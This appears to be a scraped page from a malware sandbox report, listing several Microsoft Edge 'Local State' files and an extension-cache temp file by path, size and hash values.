SSDEEP 384:zl8NsAs+40HkyFLH0FptoB8FHcXS+bJaq:ZT4zLUb2u0TbJR
TLSH
T16C424C36A838AC3759E7A589F54B3B535EB810B7D9845F08D9E44B0D01DB38C274A827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 d57fc16218ef9d9259c53165cef5cb7ddf1ce730834bb01d6083eab7ebd48689
MD5 eaf200b6583d971012742148428eff7d
SHA1 2d434c4174b88f8d7776aa074f9bfd05324383ae
SHA512 4c7631d8c32f1ce7d767d5295cd327cdcadaa60e1da5704bf407d262dd9a57e022d0bf3ef7c8fc0e202c9ba0519ece8a8ec6f68c33d6bc17a7a3a9d6ccb58f94
SSDEEP 192:zl8NswQZJTHW940HkV8QmiU1h2Rn/0F2oP1oNjzorFBmsrcXT+2iWiqg4W80IGer:zl8Nsws+40Hkyg/0FptoB8FHcXS+bJaE
TLSH
T1EA423C36A838AC3759E7A549F54B3B535FB810B7D9845F44D9E44B0D01DB39C270B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 5c48fc105b154a92258afae7403e376a20c37918f13ea0274e527ffca16ad1f5
MD5 a3f309a102a66e067bc56e828f4e7ac1
SHA1 4d510ea7f56a33fd15fa9f53d6cd8426d34ab792
SHA512 26d5d6dfdd1b62925d91c2efd2539853bae2c0aa3565f6be868090fac9d782443d00cfcfe9a0d869d6d5b7f0f055cc13d954c19c5b77c4e44a00cf130535d1ab
SSDEEP 192:zfu8NslQZJTHW940HkV8QmiU1h/REg0F2oP1oNjzorFBmsrcXT+2iWiqg4W80IGE:zG8Nsls+40Hky1h0FptoB8FHcXS+bJaE
TLSH
T174423C36A838AC3759E7A549F54A3B536FB810BBD9C46F04D9E48B0D01DB39C270B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 f282260eb9e4f7e2dd67cee10753065e41d641a5215825ff53c28ed107e73497
MD5 8f4f01b124a1a79e18027192ead6c13e
SHA1 d5abab8344482a6dab38df9b3bcf747953ce727f
SHA512 a722ef2fb8d8651a7ac4e6f80d9b2c7db41432879dc35dd6b70d98de0be54f87f93a75f91201b23c6777ea65b52d1a01734b2cf0ef63cfcb70b587637cbbcf94
SSDEEP 192:qGNt6d940XQmiUyhJOWBF2oP1oNjzorFBmsrcXT+2iDiqg4U6:qGNt67405rWBFptoB8FHcXSbbU6
TLSH
T116120936A838AC675EE3B955B48737536EE51177DD846F04EAE44B0C01DB38C2B4E827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 1e6e9606910f72012eb863165ff37f4853f740c788c95fde24634af58c6e7187
MD5 89a186a14f2e97dbd35f9fa9f8ac6f72
SHA1 497e12cf082e1b92b864e3067512af9c60a2c557
SHA512 db9d70dfe497234f038727aedfabfd4d1fc1c53cb02f11066ef8186b1f5d891d1914a8ef7fe9459e156baed19ef30c483d48bd908f2a6d2289af1c5738d9cbea
SSDEEP 192:zl8NslQZJTHW940HkV8QmiU1h0Rh10F2oP1oNjzorFBmsrcXT+2iWiqg4W80IGer:zl8Nsls+40Hkyyr0FptoB8FHcXS+bJaE
TLSH
T1FC423C36A838AC3759E7A589F54B3B535FB810B7D9885F08D9E48B0D01DB39C270B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e93f379e-1dcf-4f5c-ac3d-4ecf13c9110f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\e93f379e-1dcf-4f5c-ac3d-4ecf13c9110f.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download